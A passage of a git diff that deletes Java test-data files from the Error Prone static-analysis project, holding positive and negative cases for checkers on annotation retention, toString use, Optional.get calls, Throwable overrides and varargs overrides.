myVolatileString += "update"; - myVolatileString = myVolatileString + "update"; - } - - public void synchronizedBlock() { - synchronized (this) { - myVolatileInt++; - ++myVolatileInt; - myVolatileInt += 1; - myVolatileInt = myVolatileInt + 1; - myVolatileInt = 1 + myVolatileInt; - - myVolatileString += "update"; - myVolatileString = myVolatileString + "update"; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java deleted file mode 100644 index 9ecfde1e218..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; - -/** - * @author scottjohnson@google.com (Scott Johnsson) - */ -@NonRuntimeAnnotationNegativeCases.Runtime -public class NonRuntimeAnnotationNegativeCases { - - public Runtime testAnnotation() { - return this.getClass().getAnnotation(NonRuntimeAnnotationNegativeCases.Runtime.class); - } - - /** Annotation that is retained at runtime */ - @Retention(RetentionPolicy.RUNTIME) - public @interface Runtime {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java deleted file mode 100644 index 89734d648dc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; - -/** - * @author scottjohnson@google.com (Scott Johnsson) - */ -@NonRuntimeAnnotationPositiveCases.NotSpecified -@NonRuntimeAnnotationPositiveCases.NonRuntime -public class NonRuntimeAnnotationPositiveCases { - - public NonRuntime testAnnotation() { - // BUG: Diagnostic contains: runtime; NonRuntime - NonRuntimeAnnotationPositiveCases.class.getAnnotation( - NonRuntimeAnnotationPositiveCases.NonRuntime.class); - // BUG: Diagnostic contains: - NonRuntimeAnnotationPositiveCases.class.getAnnotation( - NonRuntimeAnnotationPositiveCases.NotSpecified.class); - // BUG: Diagnostic contains: - return this.getClass().getAnnotation(NonRuntimeAnnotationPositiveCases.NonRuntime.class); - } - - /** Annotation that is explicitly NOT retained at runtime */ - @Retention(RetentionPolicy.SOURCE) - public @interface NonRuntime {} - - /** Annotation that is implicitly NOT retained at runtime */ - public @interface NotSpecified {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java deleted file mode 100644 index 5406bb107c0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.joda.time.Duration; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ObjectToStringNegativeCases { - - public static final class FinalObjectClassWithoutToString {} - - public static class NonFinalObjectClassWithoutToString {} - - public static final class FinalObjectClassWithToString { - - @Override - public String toString() { - return "hakuna"; - } - } - - public static class NonFinalObjectClassWithToString { - - @Override - public String toString() { - return "matata"; - } - } - - public void log(Object o) { - System.out.println(o.toString()); - } - - void directToStringCalls() { - NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = - new NonFinalObjectClassWithoutToString(); - System.out.println(nonFinalObjectClassWithoutToString.toString()); - - FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); - System.out.println(finalObjectClassWithToString.toString()); - - NonFinalObjectClassWithToString nonFinalObjectClassWithToString = - new NonFinalObjectClassWithToString(); - System.out.println(nonFinalObjectClassWithToString.toString()); - } - - void callsTologMethod() { - FinalObjectClassWithoutToString finalObjectClassWithoutToString = - new FinalObjectClassWithoutToString(); - log(finalObjectClassWithoutToString); - - NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = - new NonFinalObjectClassWithoutToString(); - log(nonFinalObjectClassWithoutToString); - - FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); - log(finalObjectClassWithToString); - - NonFinalObjectClassWithToString nonFinalObjectClassWithToString = - new NonFinalObjectClassWithToString(); - log(nonFinalObjectClassWithToString); - } - - public void overridePresentInAbstractClassInHierarchy(Duration durationArg) { - String unusedString = Duration.standardSeconds(86400).toString(); - System.out.println("test joda string " + Duration.standardSeconds(86400)); - - unusedString = durationArg.toString(); - System.out.println("test joda string " + durationArg); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java deleted file mode 100644 index c9efa3e0233..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class ObjectToStringPositiveCases { - - public static final class FinalObjectClassWithoutToString {} - - public static final class FinalGenericClassWithoutToString {} - - void directToStringCalls() { - FinalObjectClassWithoutToString finalObjectClassWithoutToString = - new FinalObjectClassWithoutToString(); - // BUG: Diagnostic contains: ObjectToString - System.out.println(finalObjectClassWithoutToString.toString()); - } - - void genericClassShowsErasure() { - FinalGenericClassWithoutToString finalGenericClassWithoutToString = - new FinalGenericClassWithoutToString<>(); - // BUG: Diagnostic contains: `FinalGenericClassWithoutToString@ - System.out.println(finalGenericClassWithoutToString.toString()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java deleted file mode 100644 index dd31e870700..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Optional; -import java.util.function.Predicate; - -/** Includes true-negative cases and false-positive cases. */ -public class OptionalNotPresentNegativeCases { - - // Test this doesn't trigger NullPointerException - private final Predicate> asField = o -> !o.isPresent(); - - // False-positive - public String getWhenTestedSafe_referenceEquality(Optional optional) { - if (!optional.isPresent()) { - if (optional == Optional.of("OK")) { // always false - // BUG: Diagnostic contains: Optional - return optional.get(); - } - } - return ""; - } - - // False-positive - public String getWhenTestedSafe_equals(Optional optional) { - if (!optional.isPresent()) { - if (optional.equals(Optional.of("OK"))) { // always false - // BUG: Diagnostic contains: Optional - return optional.get(); - } - } - return ""; - } - - public String getWhenPresent_blockReassigned(Optional optional) { - if (!optional.isPresent()) { - optional = Optional.of("value"); - return optional.get(); - } - return ""; - } - - public String getWhenPresent_localReassigned(Optional optional) { - if (!optional.isPresent()) { - optional = Optional.of("value"); - } - return optional.get(); - } - - public String getWhenPresent_nestedCheck(Optional optional) { - if (!optional.isPresent() || true) { - return optional.isPresent() ? optional.get() : ""; - } - return ""; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java deleted file mode 100644 index b6c55c7c4e0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Optional; - -/** Includes true-positive and false-negative cases. */ -public class OptionalNotPresentPositiveCases { - - // False-negative - public String getWhenUnknown(Optional optional) { - return optional.get(); - } - - // False-negative - public String getWhenUnknown_testNull(Optional optional) { - if (optional.get() != null) { - return optional.get(); - } - return ""; - } - - // False-negative - public String getWhenAbsent_testAndNestUnrelated(Optional optional) { - if (true) { - String str = optional.get(); - if (!optional.isPresent()) { - return ""; - } - return str; - } - return ""; - } - - public String getWhenAbsent(Optional testStr) { - if (!testStr.isPresent()) { - // BUG: Diagnostic contains: Optional - return testStr.get(); - } - return ""; - } - - public String getWhenAbsent_multipleStatements(Optional optional) { - if (!optional.isPresent()) { - String test = "test"; - // BUG: Diagnostic contains: Optional - return test + optional.get(); - } - return ""; - } - - // False-negative - public String getWhenAbsent_nestedCheck(Optional optional) { - if (!optional.isPresent() || true) { - return !optional.isPresent() ? optional.get() : ""; - } - return ""; - } - - public String getWhenAbsent_compoundIf_false(Optional optional) { - if (!optional.isPresent() && true) { - // BUG: Diagnostic contains: Optional - return optional.get(); - } - return ""; - } - - // False-negative - public String getWhenAbsent_compoundIf_true(Optional optional) { - if (!optional.isPresent() || true) { - return optional.get(); - } - return ""; - } - - public String getWhenAbsent_elseClause(Optional optional) { - if (optional.isPresent()) { - return optional.get(); - } else { - // BUG: Diagnostic contains: Optional - return optional.get(); - } - } - - // False-negative - public String getWhenAbsent_localReassigned(Optional optional) { - if (!optional.isPresent()) { - optional = Optional.empty(); - } - return optional.get(); - } - - // False-negative - public String getWhenAbsent_methodScoped(Optional optional) { - if (optional.isPresent()) { - return ""; - } - return optional.get(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java deleted file mode 100644 index 0840dfa189e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -public class OverrideThrowableToStringNegativeCases { - - class BasicTest extends Throwable {} - - class OtherToString { - public String toString() { - return ""; - } - } - - class NoToString extends Throwable { - public void test() { - System.out.println("test"); - } - } - - class GetMessage extends Throwable { - public String getMessage() { - return ""; - } - } - - class OverridesBoth extends Throwable { - public String toString() { - return ""; - } - - public String getMessage() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java deleted file mode 100644 index b5141aead49..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -class OverrideThrowableToStringPositiveCases { - - class BasicTest extends Throwable { - - @Override - // BUG: Diagnostic contains: override - public String toString() { - return ""; - } - } - - class MultipleMethods extends Throwable { - - public MultipleMethods() { - ; - } - - @Override - // BUG: Diagnostic contains: override - public String toString() { - return ""; - } - } - - class NoOverride extends Throwable { - - // BUG: Diagnostic contains: override - public String toString() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java deleted file mode 100644 index 5e1f8a7ffac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -class OverrideThrowableToStringPositiveCases { - - // BUG: Diagnostic contains: override - class BasicTest extends Throwable { - - @Override - public String getMessage() { - return ""; - } - } - - class MultipleMethods extends Throwable { - - public MultipleMethods() { - ; - } - - @Override - public String getMessage() { - return ""; - } - } - - class NoOverride extends Throwable { - - public String getMessage() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java deleted file mode 100644 index c18b5cc656d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesNegativeCase1 { - abstract class Base { - abstract void varargsMethod(Object... xs); - - abstract void arrayMethod(Object[] xs); - } - - abstract class Child1 extends Base { - @Override - abstract void varargsMethod(final Object... newNames); - } - - abstract class Child2 extends Base { - @Override - abstract void arrayMethod(Object[] xs); - } - - static class StaticClass { - static void staticVarargsMethod(Object... xs) {} - - static void staticArrayMethod(Object[] xs) {} - } - - interface Interface { - void varargsMethod(Object... xs); - - void arrayMethod(Object[] xs); - } - - abstract class ImplementsInterface implements Interface { - public abstract void varargsMethod(Object... xs); - - public abstract void arrayMethod(Object[] xs); - } -} - -// Varargs methods might end up overriding synthetic (e.g. bridge) methods, which will have already -// been lowered into a non-varargs form. Test that we don't report errors when a varargs method -// overrides a synthetic non-varargs method: - -abstract class One { - static class Builder { - Builder varargsMethod(String... args) { - return this; - } - } -} - -class Two extends One { - static class Builder extends One.Builder { - @Override - public Builder varargsMethod(String... args) { - super.varargsMethod(args); - return this; - } - } -} - -class Three extends Two { - static class Builder extends Two.Builder { - @Override - public Builder varargsMethod(String... args) { - super.varargsMethod(args); - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java deleted file mode 100644 index 6f0a2fd2cfe..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesNegativeCase2 { - abstract class Base { - abstract void varargsMethod(Object... xs); - } - - abstract class SubOne extends Base { - @Override - abstract void varargsMethod(Object... newNames); - } - - abstract class SubTwo extends SubOne { - @Override - abstract void varargsMethod(Object... xs); - } - - abstract class SubThree extends SubTwo { - @Override - abstract void varargsMethod(Object... newNames); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java deleted file mode 100644 index 2886012ad6d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesNegativeCase3 { - abstract class Base { - abstract void arrayMethod(Object[] xs); - } - - abstract class SubOne extends Base { - @Override - abstract void arrayMethod(Object[] xs); - } - - abstract class SubTwo extends SubOne { - @Override - abstract void arrayMethod(Object[] xs); - } - - abstract class SubThree extends SubTwo { - @Override - abstract void arrayMethod(Object[] xs); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java deleted file mode 100644 index b38f12358fa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * This tests that the a bug is reported when a method override changes the type of a parameter from - * varargs to array, or array to varargs. It also ensures that the implementation can handles cases - * with multiple parameters, and whitespaces between the square brackets for array types. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase1 { - abstract class Base { - abstract void varargsMethod(Object... xs); - - abstract void arrayMethod(int x, Object[] xs); - } - - abstract class Child1 extends Base { - @Override - // BUG: Diagnostic contains: abstract void arrayMethod(int x, Object[] newNames); - abstract void arrayMethod(int x, Object... newNames); - } - - abstract class Child2 extends Base { - @Override - // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); - abstract void varargsMethod(Object[] xs); - } - - abstract class Child3 extends Base { - @Override - // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); - abstract void varargsMethod(Object[] xs); - } - - abstract class Child4 extends Base { - @Override - // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); - abstract void varargsMethod(Object[] xs); - } - - abstract class Child5 extends Base { - @Override - // BUG: Diagnostic contains: Varargs - abstract void varargsMethod(Object[ /**/] xs); - } - - interface Interface { - void varargsMethod(Object... xs); - - void arrayMethod(Object[] xs); - } - - abstract class ImplementsInterface implements Interface { - @Override - // BUG: Diagnostic contains: - public abstract void varargsMethod(Object[] xs); - - @Override - // BUG: Diagnostic contains: - public abstract void arrayMethod(Object... xs); - } - - abstract class MyBase { - abstract void f(Object... xs); - - abstract void g(Object[] xs); - } - - interface MyInterface { - void f(Object[] xs); - - void g(Object... xs); - } - - abstract class ImplementsAndExtends extends MyBase implements MyInterface { - // BUG: Diagnostic contains: - public abstract void f(Object... xs); - // BUG: Diagnostic contains: - public abstract void g(Object[] xs); - } - - abstract class ImplementsAndExtends2 extends MyBase implements MyInterface { - // BUG: Diagnostic contains: - public abstract void f(Object[] xs); - // BUG: Diagnostic contains: - public abstract void g(Object... xs); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java deleted file mode 100644 index 682f700abdb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * This tests the case where there is a chain of method overrides where the varargs constraint is - * not met, and the root is a varargs parameter. TODO(cushon): The original implementation tried to - * be clever and make this consistent, but didn't handle multiple interface inheritance. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase2 { - abstract class Base { - abstract void varargsMethod(Object... xs); - } - - abstract class SubOne extends Base { - @Override - // BUG: Diagnostic contains: - abstract void varargsMethod(Object[] newNames); - } - - abstract class SubTwo extends SubOne { - @Override - // BUG: Diagnostic contains: - abstract void varargsMethod(Object... xs); - } - - abstract class SubThree extends SubTwo { - @Override - // BUG: Diagnostic contains: - abstract void varargsMethod(Object[] newNames); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java deleted file mode 100644 index dd599cfadfb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * This tests the case where there is a chain of method overrides where the varargs constraint is - * not met, and the root has an array parameter. TODO(cushon): The original implementation tried to - * be clever and make this consistent, but didn't handle multiple interface inheritance. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase3 { - abstract class Base { - abstract void arrayMethod(Object[] xs); - } - - abstract class SubOne extends Base { - @Override - // BUG: Diagnostic contains: - abstract void arrayMethod(Object... newNames); - } - - abstract class SubTwo extends SubOne { - @Override - // BUG: Diagnostic contains: - abstract void arrayMethod(Object[] xs); - } - - abstract class SubThree extends SubTwo { - @Override - // BUG: Diagnostic contains: - abstract void arrayMethod(Object... newNames); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java deleted file mode 100644 index 8d7f0447d15..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Map; - -/** - * Test that the suggested fix is correct in the presence of whitespace, comments. - * - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase4 { - - @interface Note { } - - abstract class Base { - abstract void varargsMethod(@Note final Map... xs); - abstract void arrayMethod(@Note final Map[] xs); - } - - abstract class Child1 extends Base { - @Override - // BUG: Diagnostic contains: (@Note final Map /* asd */ [] /* dsa */ xs); - abstract void arrayMethod(@Note final Map /* asd */ ... /* dsa */ xs); - } - - abstract class Child2 extends Base { - @Override - //TODO(cushon): improve testing infrastructure so we can enforce that no fix is suggested. - // BUG: Diagnostic contains: Varargs - abstract void varargsMethod(@Note final Map /*dsa*/ [ /* [ */ ] /* dsa */ xs); - } -} \ No newline at end of file diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java deleted file mode 100644 index 6d55dbe6a62..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class OverridesPositiveCase5 { - - abstract class Base { - abstract void varargsMethod(Object[] xs, Object... ys); - - abstract void arrayMethod(Object[] xs, Object[] ys); - } - - abstract class Child1 extends Base { - @Override - // BUG: Diagnostic contains: Did you mean 'abstract void arrayMethod(Object[] xs, Object[] ys);' - abstract void arrayMethod(Object[] xs, Object... ys); - - @Override - // BUG: Diagnostic contains: Did you mean 'abstract void varargsMethod(Object[] xs, Object... - // ys);' - abstract void varargsMethod(Object[] xs, Object[] ys); - - void foo(Base base) { - base.varargsMethod(null, new Object[] {}, new Object[] {}, new Object[] {}, new Object[] {}); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java deleted file mode 100644 index 83d5c457c98..00000000000 --- 